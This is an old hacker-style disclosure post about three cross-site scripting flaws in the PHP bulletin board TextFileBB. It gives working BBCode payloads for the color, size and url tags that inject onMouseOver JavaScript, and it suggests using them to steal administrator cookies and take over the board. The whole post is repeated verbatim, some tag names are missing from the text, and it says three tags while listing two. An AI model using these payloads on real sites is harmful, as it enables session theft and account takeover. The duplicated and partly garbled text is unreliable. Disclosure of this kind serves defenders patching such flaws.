r0xes.ratm@gmail.com
30/04/06, 00:00
TextFileBB is a flat-file based bulletin board system written in PHP.
There are 3 different XSS vulnerabilities in this software at the moment, which I found about half an hour ago =D
Anyway, the XSS lies in these tags:
[size]
[url]
EXPLANATION:
Firstly, we'll explain .
[.color=#00'">0FFF] """xss
Would give us:
<font >0fff="" color="#000000"> """xss </font>
Therefore we can see that we actually are breaking the tag and that our last part (0FFF) is stripped (funnily enough I found this by typo.)
So, we need to do:
[.color=#00F"onMouseOver='alert(/xss/)' x="]h0n0
As this would give us:
<font onmouseover="alert(/xss/)" x="" color="#000000">h0n0</font>
We use the #00F to start the color (so that it IS parsed [attempted to be] by the parser), and break out of that with our quote - it'll be replaced with a space. The color will be left as #000000. I added the x="" attribute because I noticed it wouldn't render in IE for some wierd reason.
NEXT: .
This is basically the same as [color], but tad different.
[.size=7" OnMouseOver="alert(/xss/)]Clicky Here
We break out of the size with the first quote, and then use our MouseOver - we do not close the MouseOver ourselves because the parser will enclose everything in "".
Turns into: (something like)
<font size="7" onMouseOver="alert(/xss/)">Clicky Here</font>
LAST: .
I don't think the parser cares whether or not you include the http://, but I added it just as an example.
[.url=http://" OnMouseOver="alert(/xss/)]hmm
Same as with [size], we break out of the href and then do not add a " to the end because the parser will do it for us.
USAGE:
TextFileBB stores user information in cookies, so you could steal the administrator's cookies and take over the board.
Credits: me =D
Shouts: digi7al64 - PrOtOn - Lockdown - WhiteAcid
Video @ http://dynxss.whiteacid.org/videos/TextFileBB_1.0.16-final.rar]http://dynxss.whiteacid.org/videos/TextFil....0.16-final.rar :: 8mb
There are 3 different XSS vulnerabilities in this software at the moment, which I found about half an hour ago =D
Anyway, the XSS lies in these tags:
[size]
[url]
EXPLANATION:
Firstly, we'll explain .
[.color=#00'">0FFF] """xss
Would give us:
<font >0fff="" color="#000000"> """xss </font>
Therefore we can see that we actually are breaking the tag and that our last part (0FFF) is stripped (funnily enough I found this by typo.)
So, we need to do:
[.color=#00F"onMouseOver='alert(/xss/)' x="]h0n0
As this would give us:
<font onmouseover="alert(/xss/)" x="" color="#000000">h0n0</font>
We use the #00F to start the color (so that it IS parsed [attempted to be] by the parser), and break out of that with our quote - it'll be replaced with a space. The color will be left as #000000. I added the x="" attribute because I noticed it wouldn't render in IE for some wierd reason.
NEXT: .
This is basically the same as [color], but tad different.
[.size=7" OnMouseOver="alert(/xss/)]Clicky Here
We break out of the size with the first quote, and then use our MouseOver - we do not close the MouseOver ourselves because the parser will enclose everything in "".
Turns into: (something like)
<font size="7" onMouseOver="alert(/xss/)">Clicky Here</font>
LAST: .
I don't think the parser cares whether or not you include the http://, but I added it just as an example.
[.url=http://" OnMouseOver="alert(/xss/)]hmm
Same as with [size], we break out of the href and then do not add a " to the end because the parser will do it for us.
USAGE:
TextFileBB stores user information in cookies, so you could steal the administrator's cookies and take over the board.
Credits: me =D
Shouts: digi7al64 - PrOtOn - Lockdown - WhiteAcid
Video @ http://dynxss.whiteacid.org/videos/TextFileBB_1.0.16-final.rar]http://dynxss.whiteacid.org/videos/TextFil....0.16-final.rar :: 8mb